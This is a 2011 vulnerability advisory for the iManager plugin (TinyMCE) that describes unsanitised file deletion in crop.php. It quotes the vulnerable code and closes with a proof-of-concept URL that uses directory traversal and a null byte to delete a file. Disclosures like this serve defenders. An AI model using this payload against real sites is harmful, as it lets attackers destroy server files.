iManager Plugin 1.2.8 Arbitrary File Deletion

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iManager Plugin v1.2.8 (d) Remote Arbitrary File Deletion Vulnerability  
  
  
Vendor: net4visions.com  
Product web page: http://www.net4visions.com  
Affected version: <= 1.2.8 Build 02012008  
  
Summary: With iManager you can manage your files/images on your webserver,  
and it provides user interface to most of the phpThumb() functions. It works  
either stand-alone or as a plugin to WYSIWYG editors like tinyMCE, SPAW,  
htmlAREA, Xinha and FCKeditor.  
  
Desc: Input passed to the 'd' parameter in /scripts/phpCrop/crop.php is not  
properly sanitised before being used to delete files. This can be exploited  
to delete files with the permissions of the web server via directory traversal  
sequences passed within the 'd' parameter.  
  
  
======================================================================  
/scripts/phpCrop/crop.php:  
----------------------------------------------------------------------  
  
32: if( isset($_REQUEST['s']) ) {  
33: //delete previous temp files   
34: $matches = glob($d . '{*.jpg,*.JPG}', GLOB_BRACE);   
35: if ( is_array ( $matches ) ) {  
36: foreach ( $matches as $fn) {  
37: @unlink($fn);   
38: }  
39: }  
  
======================================================================  
  
  
Tested on: Microsoft Windows XP Professional SP3 (EN)  
Apache 2.2.14 (Win32)  
PHP 5.3.1  
MySQL 5.1.41  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
liquidworm gmail com  
  
  
Advisory ID: ZSL-2011-5043  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5043.php  
  
  
15.09.2011  
  
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http://[SOME_CMS]/jscripts/tiny_mce/plugins/imanager/scripts/phpCrop/crop.php?s=1&d=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftest.txt%00  
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